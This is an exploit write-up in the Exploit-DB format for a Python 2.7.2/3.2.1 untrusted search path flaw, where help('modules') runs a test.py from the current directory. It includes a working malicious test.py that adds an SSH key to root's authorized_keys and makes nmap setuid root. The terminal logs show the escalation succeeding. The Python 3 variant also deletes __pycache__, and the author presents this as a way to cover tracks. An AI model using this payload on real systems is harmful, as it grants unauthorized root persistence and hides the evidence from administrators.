# Exploit Title: Python untrusted search path/code execution vulnerability
# Date: 7.6.12
# Exploit Author: rogueclown
# Vendor Homepage: http://www.python.org
# Software Link: http://www.python.org/getit/releases/
# Version: python 2.7.2 and python 3.2.1
# Tested on: linux (my test machine was OpenSUSE 12.1)
#
# This is an expansion on www.exploit-db.com/exploits/19523/ -- a big thanks,
# and the lion's share of the credit, to ShadowHatesYou (Shadow@SquatThis.net).
# They found the vulnerability; i just found a more generalized application
# of it.
#
# Basically, i found that it's not just python-wrapper that executes a test.py
# script within the current working directory when help('modules') is run --
# python itself does that.In python 2, it works just as ShadowHatesYou showed
# it in his python-wrapper exploit.
#
# This still works in python 3, but you have to do a bit more to cover your
# tracks.In the working directory, python 3 drops a __pycache__ directory
# with a .pyc file inside it.Most of the bytecode in there is not human
# readable, but it displays the shell command called by the script in
# plaintext, making it pretty obvious that something funny happened.However,
# you can get around this by making sure that your test.py script removes the
# __pycache__ directory from the working directory.
#
# rogueclown
# rogueclown@rogueclown.net
# 7.6.12
############
# PYTHON 2 #
############
adalia@bukkit:~/security/pythonwrapper> ls -hl test.py
-rw-r--r-- 1 adalia users 144 Jul4 15:47 test.py
adalia@bukkit:~/security/pythonwrapper> cat test.py
#!/usr/bin/python
import os
os.system("/bin/echo $(echo ssh-rsa rogueclown washere >> /root/.ssh/authorized_keys); chmod 4755 /usr/bin/nmap")
adalia@bukkit:~/security/pythonwrapper> ls -hl /usr/bin/nmap
-rwxr-xr-x 1 root root 1.4M Oct 292011 /usr/bin/nmap
adalia@bukkit:~/security/pythonwrapper> su
Password:
bukkit:/home/adalia/security/pythonwrapper # ls /root/.ssh/authorized_keys
ls: cannot access /root/.ssh/authorized_keys: No such file or directory
bukkit:/home/adalia/security/pythonwrapper # python
Python 2.7.2 (default, Aug 19 2011, 20:41:43) [GCC] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> help('modules')
Please wait a moment while I gather a list of all available modules...
/usr/lib64/python2.7/site-packages/gobject/constants.py:24: Warning: g_boxed_type_register_static: assertion `g_type_from_name (name) == 0' failed
import gobject._gobject
/usr/lib64/python2.7/site-packages/twisted/words/im/__init__.py:8: UserWarning: twisted.im will be undergoing a rewrite at some point in the future.
warnings.warn("twisted.im will be undergoing a rewrite at some point in the future.")
** Message: pygobject_register_sinkfunc is deprecated (GstObject)
Alacarteabc gtkunixprintreadline
BaseHTTPServeraifcgziprepr
Bastion antigravity hashlib resource
BeautifulSoup anydbmheapq rexec
BeautifulSoupTestsargparsehmacrfc822
CDROM array hotshot rlcompleter
CGIHTTPServer ast hpmudextrobotparser
ConfigParserasynchathtmlentitydefsrpm
Cookieasyncorehtmllib runpy
Cryptoatexithttplib satsolver
DLFCN atk httplib2scanext
DocXMLRPCServer atomieee1284sched
HTMLParseraudiodevihooksscout
INbase64imaplib select
MimeWriterbdb imghdrserial
OpenSSL beakerimp sets
PAM binasciiimportlib setuptools
PyQt4 binheximputil sgmllib
Queue bisectinspect sha
SimpleHTTPServerbsddb ioshelve
SimpleXMLRPCServerbutterfly itertools shlex
SocketServerbz2 jsonshutil
StringIOcPickle keyword signal
TYPES cProfilelib2to3 simplejson
UserDictcStringIO libproxysip
UserListcairo libvboxjxpcom site
UserStringcalendarlibxml2 smbc
VBoxAuthcgi libxml2modsmtpd
VBoxAuthSimplecgitb linecache smtplib
VBoxDDchunk linuxaudiodev sndhdr
VBoxDD2 cmath localesocket
VBoxDDU cmd logging spwd
VBoxDbg codelouie sqlite3
VBoxGuestControlSvc codecsmacpath sre
VBoxGuestPropSvccodeopmacurl2path sre_compile
VBoxHeadlesscoherence mad sre_constants
VBoxKeyboardcollections mailbox sre_parse
VBoxNetDHCP colorsysmailcap ssl
VBoxOGLhostcrutil commandsmakostat
VBoxOGLhosterrorspu compileallmarkupbasestatvfs
VBoxOGLrenderspucompilermarkupsafestring
VBoxPythoncontextlibmarshal stringold
VBoxPython2_7 cookielib mathstringprep
VBoxREM copymd5 strop
VBoxRTcopy_regmhlib struct
VBoxSDL crypt mimetools subprocess
VBoxSharedClipboard csv mimetypes sunau
VBoxSharedCrOpenGLctypesmimifysunaudio
VBoxSharedFolders cupsmmapsymbol
VBoxVMM cupsext modulefindersymtable
VBoxXPCOM cupshelpers multifile sys
VBoxXPCOMCcurlmultiprocessing sysconfig
VirtualBoxdatetimemutagen syslog
Xlibdbhashmutex tabnanny
_LWPCookieJar dbusmygpoclient tarfile
_MozillaCookieJar dbus_bindings netrc telepathy
__builtin__ decimal new telnetlib
__future__difflib nis tempfile
_abcoll dircachenntplib termios
_astdis ntpathtextwrap
_bisect distutils nturl2paththis
_bsddbdoctest numbers thread
_codecs drv_libxml2 numpy threading
_codecs_cndsextrasopcodetime
_codecs_hkdumbdbm operatortimeit
_codecs_iso2022 dummy_threadoptparsetoaiff
_codecs_jpdummy_threading ostoken
_codecs_kreasy_installos2emxpathtokenize
_codecs_twemail ossaudiodev trace
_collectionsencodings packagekittraceback
_csverrno pango tty
_ctypes exceptionspangocairotwisted
_ctypes_testeyeD3 papyontypes
_dbus_bindingsfcntl parserunicodedata
_dbus_glib_bindings feedparserpcardextunittest
_elementtreefilecmp pdb uno
_functoolsfileinput pickleunohelper
_hashlibfnmatch pickletools urlgrabber
_heapqformatter pipes urllib
_hotshotfpformatpkg_resources urllib2
_io fractions pkgutil urlparse
_json ftplibplatformuser
_locale functools plistlibuu
_lsprof future_builtins popen2uuid
_md5gcpoplibvboxapi
_multibytecodec gdata posix vboxshell
_multiprocessinggenericpath posixfile volkeys
_pyio getoptposixpath warnings
_random getpass pprintwave
_satsolvergettext profile weakref
_shagipstatswebbrowser
_sha256 gio pty whichdb
_sha512 glibpwd wsgiref
_socket globpy_compilexdg
_sqlite3gmenu pyclbrxdrlib
_sregnome_sudokupycurlxml
_sslgnomekeyringpydoc xmllib
_strptime gobject pydoc_dataxmlrpclib
_struct gpodpyexpat xxsubtype
_symtable gpodder pygst zeitgeist
_testcapi grp pygtk zipfile
_threading_localgst pynotifyzipimport
_warnings gstoption quoprizlib
_weakrefgtk randomzope
_weakrefset gtktrayicon re
Enter any module name to get more help.Or, type "modules spam" to search
for modules whose descriptions contain the word "spam".
>>> exit()
bukkit:/home/adalia/security/pythonwrapper # ls -hl /usr/bin/nmap
-rwsr-xr-x 1 root root 1.4M Oct 292011 /usr/bin/nmap
bukkit:/home/adalia/security/pythonwrapper # cat /root/.ssh/authorized_keys
ssh-rsa rogueclown washere
bukkit:/home/adalia/security/pythonwrapper #
############
# PYTHON 3 #
############
adalia@bukkit:~/security/pythonwrapper> ls -hl test.py
-rw-r--r-- 1 adalia users 169 Jul4 15:51 test.py
adalia@bukkit:~/security/pythonwrapper> cat test.py
#!/usr/bin/python
import os
os.system("/bin/echo $(echo ssh-rsa rogueclown washere >> /root/.ssh/authorized_keys); chmod 4755 /usr/bin/nmap; /bin/rm -rf __pycache__")
adalia@bukkit:~/security/pythonwrapper> ls -hl /usr/bin/nmap
-rwxr-xr-x 1 root root 1.4M Oct 292011 /usr/bin/nmap
adalia@bukkit:~/security/pythonwrapper> su
Password:
bukkit:/home/adalia/security/pythonwrapper # ls /root/.ssh/authorized_keys
ls: cannot access /root/.ssh/authorized_keys: No such file or directory
bukkit:/home/adalia/security/pythonwrapper # python3
Python 3.2.1 (default, Jul 18 2011, 16:24:40) [GCC] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> help('modules')
Please wait a moment while I gather a list of all available modules...
CDROM binasciiinspect shelve
DLFCN binhexioshlex
INbisectitertools shutil
TYPES builtinsjsonsignal
__future__bz2 keyword site
_abcoll cProfilelinecache smtpd
_astcalendarlocalesmtplib
_bisect cgi logging sndhdr
_codecs cgitb macpath socket
_codecs_cnchunk macurl2path socketserver
_codecs_hkcmath mailbox spwd
_codecs_iso2022 cmd mailcap sqlite3
_codecs_jpcodemarshal sre_compile
_codecs_krcodecsmathsre_constants
_codecs_twcodeopmimetypes sre_parse
_collectionscollections mmapssl
_compat_picklecolorsysmodulefinderstat
_csvcompileallmultiprocessing string
_ctypes concurrentnetrc stringprep
_datetime configparsernis struct
_dummy_thread contextlibnntplib subprocess
_elementtreecopyntpathsunau
_functoolscopyreg nturl2pathsymbol
_hashlibcrypt numbers symtable
_heapqcsv opcodesys
_io ctypesoperatorsysconfig
_json datetimeoptparsesyslog
_locale decimal ostabnanny
_lsprof difflib os2emxpathtarfile
_markupbase dis ossaudiodev telnetlib
_multibytecodec distutils parsertempfile
_multiprocessingdoctest pdb termios
_pickle dummy_threading pickletextwrap
_posixsubprocessemail pickletools this
_pyio encodings pipes threading
_random errno pkgutil time
_socket fcntl platformtimeit
_sqlite3filecmp plistlibtoken
_srefileinput poplibtokenize
_sslfnmatch posix trace
_string formatter posixpath traceback
_strptime fractions pprinttty
_struct ftplibprofile turtle
_symtable functools pstatstypes
_thread gcpty unicodedata
_threading_localgenericpath pwd unittest
_warnings getoptpy_compileurllib
_weakrefgetpass pyclbruu
_weakrefset gettext pydoc uuid
abc globpydoc_datawarnings
aifcgrp queue wave
antigravity gzipquopriweakref
argparsehashlib randomwebbrowser
array heapq rewsgiref
ast hmacreadlinexdrlib
asynchathtmlreprlib xxlimited
asyncorehttpresourcexxsubtype
atexitimaplib rlcompleter zipfile
audioop imghdrrunpy zipimport
base64imp sched zlib
bdb importlib select
Enter any module name to get more help.Or, type "modules spam" to search
for modules whose descriptions contain the word "spam".
>>> exit()
bukkit:/home/adalia/security/pythonwrapper # ls -hl /usr/bin/nmap
-rwsr-xr-x 1 root root 1.4M Oct 292011 /usr/bin/nmap
bukkit:/home/adalia/security/pythonwrapper # cat /root/.ssh/authorized_keys
ssh-rsa rogueclown washere
bukkit:/home/adalia/security/pythonwrapper # ls __pycache__
ls: cannot access __pycache__: No such file or directory
bukkit:/home/adalia/security/pythonwrapper #